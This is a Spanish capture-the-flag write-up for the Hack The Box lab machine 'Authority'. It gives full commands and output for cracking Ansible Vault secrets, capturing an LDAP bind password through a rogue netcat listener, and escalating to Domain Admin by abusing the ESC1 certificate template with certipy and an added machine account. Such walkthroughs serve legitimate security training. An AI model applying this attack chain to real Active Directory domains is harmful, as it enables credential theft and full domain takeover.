Descripción

Authority es una máquina media de Hack The Box que cuenta con las siguientes vulnerabilidades:

  • Recuperación de credenciales de usuario de PWM mediante la descifrado de playbooks de Ansible
  • Recuperación de contraseña de usuario LDAP mediante la prueba de conexión usando la aplicación PWM a nuestro propio servidor
  • Escalada de privilegios mediante la vulnerabilidad de la plantilla ESC1 de ADCS y comandos de consola LDAP

Reconocimiento

Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina objetivo es 10.10.11.222.

$ ping -c 3 10.10.11.222
PING 10.10.11.222 (10.10.11.222) 56(84) bytes of data.
64 bytes from 10.10.11.222: icmp_seq=1 ttl=127 time=98.7 ms
64 bytes from 10.10.11.222: icmp_seq=2 ttl=127 time=80.6 ms
64 bytes from 10.10.11.222: icmp_seq=3 ttl=127 time=101 ms

--- 10.10.11.222 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 80.636/93.470/101.030/9.123 ms

La máquina está activa y con el TTL que iguala 127 (128 menos 1 salto), podemos asegurarnos que es una máquina Windows. Ahora vamos a hacer un escaneo de puertos TCP SYN con Nmap para verificar todos los puertos abiertos.

$ sudo nmap 10.10.11.222 -sS -oN nmap_scan
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.10.11.222
Host is up (0.043s latency).
Not shown: 986 closed tcp ports (reset)
PORT     STATE SERVICE
53/tcp   open  domain
80/tcp   open  http
88/tcp   open  kerberos-sec
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
389/tcp  open  ldap
445/tcp  open  microsoft-ds
464/tcp  open  kpasswd5
593/tcp  open  http-rpc-epmap
636/tcp  open  ldapssl
3268/tcp open  globalcatLDAP
3269/tcp open  globalcatLDAPssl
5985/tcp open  wsman
8443/tcp open  https-alt

Nmap done: 1 IP address (1 host up) scanned in 227.64 seconds

Obtenemos muchos puertos abiertos, relacionados con un Controlador de Dominio Active Directory.

Enumeración

Luego hacemos un escaneo más avanzado, con versiones de los servicios y scripts.

$ nmap 10.10.11.222 -Pn -sV -sC -p53,80,88,135,139,389,445,464,593,636,3268,3269,5985,8443 -oN nmap_scan_ports
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.10.11.222
Host is up (0.043s latency).

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
|_http-title: IIS Windows Server
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: othername: UPN:AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB
| Not valid before: 2022-08-09T23:03:21
|_Not valid after:  2024-08-09T23:13:21
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: othername: UPN:AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB
| Not valid before: 2022-08-09T23:03:21
|_Not valid after:  2024-08-09T23:13:21
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: othername: UPN:AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB
| Not valid before: 2022-08-09T23:03:21
|_Not valid after:  2024-08-09T23:13:21
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: othername: UPN:AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB
| Not valid before: 2022-08-09T23:03:21
|_Not valid after:  2024-08-09T23:13:21
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
8443/tcp open  ssl/http      Apache Tomcat (language: en)
| ssl-cert: Subject: commonName=172.16.2.118
|_http-title: Site doesn't have a title (text/html;charset=ISO-8859-1).
Service Info: Host: AUTHORITY; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 56.31 seconds

Obtenemos los servicios relacionados con un Active Directory, específicamente el Controlador de Dominio authority.htb. Añadimos el host a nuestro archivo local /etc/hosts.

$ echo "10.10.11.222 authority.htb" | sudo tee -a /etc/hosts

En el puerto 8443 encontramos la aplicación web PWM. Requiere credenciales para el inicio de sesión, pero encontramos que estamos en modo de configuración. No tenemos credenciales. Esta aplicación se utiliza para interactuar con las contraseñas del dominio utilizando LDAP. Estamos en capacidad de enumerar las compartidas SMB con la cuenta Guest. Encontramos dos no estándar: Department Shares y Development.

$ netexec smb authority.htb -u 'Guest' -p '' --shares
SMB         10.10.11.222    445    AUTHORITY        [*] Windows 10 / Server 2019 Build 17763 x64 (name:AUTHORITY) (domain:authority.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.222    445    AUTHORITY        [+] authority.htb\Guest: 
SMB         10.10.11.222    445    AUTHORITY        [*] Enumerated shares
SMB         10.10.11.222    445    AUTHORITY        Share           Permissions     Remark
SMB         10.10.11.222    445    AUTHORITY        -----           -----------     ------
SMB         10.10.11.222    445    AUTHORITY        ADMIN$                          Remote Admin
SMB         10.10.11.222    445    AUTHORITY        C$                              Default share
SMB         10.10.11.222    445    AUTHORITY        Department Shares                 
SMB         10.10.11.222    445    AUTHORITY        Development     READ            
SMB         10.10.11.222    445    AUTHORITY        IPC$            READ            Remote IPC
SMB         10.10.11.222    445    AUTHORITY        NETLOGON                        Logon server share 
SMB         10.10.11.222    445    AUTHORITY        SYSVOL                          Logon server share

No podemos acceder a Department Shares:

$ smbclient '//authority.htb/Department Shares' -U 'Guest%'
Try "help" to get a list of possible commands.
smb: \> ls
NT_STATUS_ACCESS_DENIED listing \*

Para la compartida Development, podemos montarla y listarla.

$ smbclient '//authority.htb/Development' -U 'Guest%'      
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Fri Mar 17 14:20:38 2023
  ..                                  D        0  Fri Mar 17 14:20:38 2023
  Automation                          D        0  Fri Mar 17 14:20:40 2023

                5888511 blocks of size 4096. 1353593 blocks available
$ mkdir mount
$ sudo mount -t cifs -o "username=Guest,password=" '//authority.htb/Development' ./mount
$ find mount       
mount
mount/Automation
mount/Automation/Ansible
mount/Automation/Ansible/ADCS
mount/Automation/Ansible/ADCS/.ansible-lint
mount/Automation/Ansible/ADCS/.yamllint
mount/Automation/Ansible/ADCS/defaults
mount/Automation/Ansible/ADCS/defaults/main.yml
mount/Automation/Ansible/ADCS/LICENSE
mount/Automation/Ansible/ADCS/meta
mount/Automation/Ansible/ADCS/meta/main.yml
...

Encontramos archivos Ansible para ADCS (Active Directory Certificate Services), LDAP (Lightweight Directory Access Protocol), PWM (una aplicación de servicio de contraseña de código abierto para directorios LDAP) y SHARE (que podría ser las compartidas abiertas). Como vimos que la aplicación PWM está disponible, comprobemos sus archivos de configuración Ansible. Encontramos una contraseña cifrada en el archivo Automation/Ansible/PWM/defaults/main.yml.

$ cat mount/Automation/Ansible/PWM/defaults/main.yml
---
pwm_run_dir: "{{ lookup('env', 'PWD') }}"

pwm_hostname: authority.htb.corp
pwm_http_port: "{{ http_port }}"
pwm_https_port: "{{ https_port }}"
pwm_https_enable: true

pwm_require_ssl: false

pwm_admin_login: !vault |
          $ANSIBLE_VAULT;1.1;AES256...

pwm_admin_password: !vault |
          $ANSIBLE_VAULT;1.1;AES256...

ldap_uri: ldap://127.0.0.1/
ldap_base_dn: "DC=authority,DC=htb"
ldap_admin_password: !vault |
          $ANSIBLE_VAULT;1.1;AES256...

Necesitamos convertir estos hashes a un formato que John The Ripper entienda y luego intentar crackearlos. Para eso podemos usar la herramienta ansible2john. Cada línea del hash debe estar separada por un carácter de nueva línea (\n).

$ echo "\$ANSIBLE_VAULT;1.1;AES256\n32666534386435366537653136663731633138616264323230383566333966346662313161326239\n6134353663663462373265633832356663356239383039640a346431373431666433343434366139\n35653634376333666234613466396534343030656165396464323564373334616262613439343033\n6334326263326364380a653034313733326639323433626130343834663538326439636232306531\n3438" > ansible_hash1

$ echo "\$ANSIBLE_VAULT;1.1;AES256\n31356338343963323063373435363261323563393235633365356134616261666433393263373736\n3335616263326464633832376261306131303337653964350a363663623132353136346631396662\n38656432323830393339336231373637303535613636646561653637386634613862316638353530\n3930356637306461350a316466663037303037653761323565343338653934646533663365363035\n6531" > ansible_hash2

$ echo "\$ANSIBLE_VAULT;1.1;AES256\n63303831303534303266356462373731393561313363313038376166336536666232626461653630\n3437333035366235613437373733316635313530326639330a643034623530623439616136363563\n34646237336164356438383034623462323531316333623135383134656263663266653938333334\n3238343230333633350a646664396565633037333431626163306531336336326665316430613566\n3764" > ansible_hash3

$ ansible2john ansible_hash1 ansible_hash2 ansible_hash3 > ansible_hashes

Entonces comenzamos a crackear la contraseña.

$ john --wordlist=/usr/share/wordlists/rockyou.txt ansible_hashes 
Using default input encoding: UTF-8
Loaded 3 password hashes with 3 different salts (ansible, Ansible Vault [PBKDF2-SHA256 HMAC-256 256/256 AVX2 8x])
Cost 1 (iteration count) is 10000 for all loaded hashes
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
!@#$%^&*         (ansible_hash2)     
!@#$%^&*         (ansible_hash1)     
!@#$%^&*         (ansible_hash3)     
3g 0:00:00:20 DONE 0.1497g/s 1993p/s 5981c/s 5981C/s 112500..prospect
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Para los tres hashes, la contraseña es !@#$%^&*. Ahora podemos descifrar los tres paquetes con la herramienta ansible-vault.

$ virtualenv .env
$ . .env/bin/activate
$ pip install ansible-vault
$ echo '!@#$%^&*' > vault_password
$ ansible-vault decrypt --vault-password-file=vault_password ansible_hash1
$ ansible-vault decrypt --vault-password-file=vault_password ansible_hash2
$ ansible-vault decrypt --vault-password-file=vault_password ansible_hash3
$ cat ansible_hash1                
svc_pwm
$ cat ansible_hash2
pWm_@dm!N_!23
$ cat ansible_hash3
DevT3st@123

Hemos descifrado los campos almacenados dentro del Ansible vault, para pwm_admin_login encontramos svc_pwm, para pwm_admin_password encontramos pWm_@dm!N_!23 y para ldap_admin_password encontramos DevT3st@123.

Explotación

Podemos volver al sitio web de inicio de sesión de PWM e iniciar sesión con el segundo campo, la contraseña, en el Configuration Manager > Configuration Editor. Encontramos una conexión LDAP configurada en el menú Default Settings > LDAP Directories > default > Connection. Podemos crear una conexión de prueba usando el botón Test LDAP Profile, pero la conexión falla. Encontramos que la LDAP Proxy Password está almacenada, pero no podemos leerla. Podemos crear un servidor LDAP, introducir nuestra dirección LDAP en el campo LDAP URLs y luego capturar la contraseña LDAP. Como vamos a utilizar el protocolo LDAP no cifrado, podemos abrir un puerto TCP en escucha, modificar el campo y desencadenar la conexión de prueba.

$ nc -nvlp 1234

Recibimos una conexión desde el svc_ldap y la contraseña lDaP_1n_th3_cle4r!.

$ nc -nvlp 1234                                                                                               
listening on [any] 1234 ...
connect to [10.10.14.6] from (UNKNOWN) [10.10.11.222] 61959
0Y`T;CN=svc_ldap,OU=Service Accounts,OU=CORP,DC=authority,DC=htb�lDaP_1n_th3_cle4r!

Como el puerto WinRM está abierto, vamos a intentar abrir una terminal utilizando la herramienta evil-winrm.

$ evil-winrm -i authority.htb -u 'svc_ldap' -p 'lDaP_1n_th3_cle4r!'
...
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc_ldap\Documents> whoami
htb\svc_ldap

Estamos conectados como el usuario svc_ldap.

Post-Explotación

Vimos anteriormente, en los playbooks de Ansible, una mención a ADCS. Vamos a utilizar la herramienta Certipy para comprobar vulnerabilidades en los modelos de certificados.

$ certipy-ad find -username svc_ldap@authority.htb -password 'lDaP_1n_th3_cle4r!' -vulnerable -stdout
...
Certificate Authorities
  0
    CA Name                             : AUTHORITY-CA
    DNS Name                            : authority.authority.htb
    Certificate Subject                 : CN=AUTHORITY-CA, DC=authority, DC=htb
    Certificate Serial Number           : 2C4E1F3CA46BBDAF42A1DDE3EC33A6B4
    Certificate Validity Start          : 2023-04-24 01:46:26+00:00
    Certificate Validity End            : 2123-04-24 01:56:25+00:00
    Web Enrollment
      HTTP
        Enabled                         : False
      HTTPS
        Enabled                         : False
    User Specified SAN                  : Unknown
    Request Disposition                 : Unknown
    Enforce Encryption for Requests     : Unknown
    Active Policy                       : Unknown
    Disabled Extensions                 : Unknown
...
Certificate Templates
  0
    Template Name                       : CorpVPN
    Display Name                        : Corp VPN
    Certificate Authorities             : AUTHORITY-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : True
    Certificate Name Flag               : EnrolleeSuppliesSubject
...
    Permissions
      Enrollment Permissions
        Enrollment Rights               : AUTHORITY.HTB\Domain Computers
                                          AUTHORITY.HTB\Domain Admins
                                          AUTHORITY.HTB\Enterprise Admins

...
    [!] Vulnerabilities
      ESC1                              : Enrollee supplies subject and template allows client authentication.

Encontramos la vulnerabilidad ESC1 en la plantilla CorpVPN. Añadimos el host authority.authority.htb al archivo /etc/hosts.

$ echo "10.10.11.222 authority.authority.htb" | sudo tee -a /etc/hosts

ESC1 es la configuración típica de error en AD CS que puede llevar directamente a la escalada de privilegios. La vulnerabilidad surge cuando una plantilla de certificado no está adecuadamente protegida, permitiendo a un usuario de bajos privilegio solicitar un certificado e, importante, especificar una identidad arbitraria dentro del SAN del certificado. Esto permite al atacante suplantar a cualquier usuario, incluidos los administradores.

El usuario LDAP no tiene permisos para realizar esta operación, pero en la sección Enrollment Permissions encontramos que el Domain Computers tiene derechos de inscripción. Por lo tanto, registraremos una nueva máquina de dominio para explotar la vulnerabilidad.

$ impacket-addcomputer 'authority.htb/svc_ldap:lDaP_1n_th3_cle4r!'
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Successfully added machine account DESKTOP-ANHB3HRI$ with password IQYx2g4n92nboD8kMMMUo1zsFP0mUMA1.

Agregamos la cuenta de máquina DESKTOP-ANHB3HRI$ con la contraseña IQYx2g4n92nboD8kMMMUo1zsFP0mUMA1. Ahora solicitaremos un certificado al controlador de dominio con el campo SAN establecido en el usuario Administrator.

$ certipy-ad req \
    -u 'DESKTOP-ANHB3HRI$@authority.htb' -p 'IQYx2g4n92nboD8kMMMUo1zsFP0mUMA1' \
    -dc-ip '10.10.11.222' -target 'authority.htb' \
    -ca 'AUTHORITY-CA' -template 'CorpVPN' \
    -upn 'administrator@authority.htb'             
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Request ID is 2
[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator@authority.htb'
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'

Con el certificado generado, nos autenticamos como el administrador objetivo.

$ certipy-ad auth -dc-ip '10.10.11.222' -pfx 'administrator.pfx' -username 'administrator' -domain 'authority.htb'                                  130 ↵
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     SAN UPN: 'administrator@authority.htb'
[*] Using principal: 'administrator@authority.htb'
[*] Trying to get TGT...
[-] Got error while trying to request TGT: Kerberos SessionError: KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type)
[-] Use -debug to print a stacktrace
[-] See the wiki for more information

Obtenemos el error KDC_ERR_PADATA_TYPE_NOSUPP ya que el Controlador de Dominio no soporta PKINIT. Podemos en su lugar abrir una terminal LDAP y agregar al usuario svc_ldap al grupo Domain Admins.

$ certipy-ad auth -dc-ip '10.10.11.222' -pfx 'administrator.pfx' -username 'administrator' -domain 'authority.htb' -ldap-shell                        1 ↵
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     SAN UPN: 'administrator@authority.htb'
[*] Connecting to 'ldaps://10.10.11.222:636'
[*] Authenticated to '10.10.11.222' as: 'u:HTB\\Administrator'
Type help for list of commands

# add_user_to_group svc_ldap 'Domain Admins'
Adding user: svc_ldap to group Domain Admins result: OK

Podemos volver ahora a la terminal evil-winrm y comprobar si la adición fue realizada correctamente.

*Evil-WinRM* PS C:\Users\svc_ldap\Documents> net user svc_ldap
User name                    svc_ldap
...

Local Group Memberships      *Remote Management Use
Global Group memberships     *Domain Users         *Domain Admins

Se ha realizado correctamente. Tenemos permisos completos sobre el dominio, pero deberíamos volver a iniciar sesión.

Flags

Como administrador de dominio, podemos recuperar los archivos user.txt y root.txt.

*Evil-WinRM* PS C:\Users\svc_ldap\Documents> type C:\Users\svc_ldap\Desktop\user.txt
<REDACTED>
*Evil-WinRM* PS C:\Users\svc_ldap\Documents> type C:\Users\Administrator\Desktop\root.txt
<REDACTED>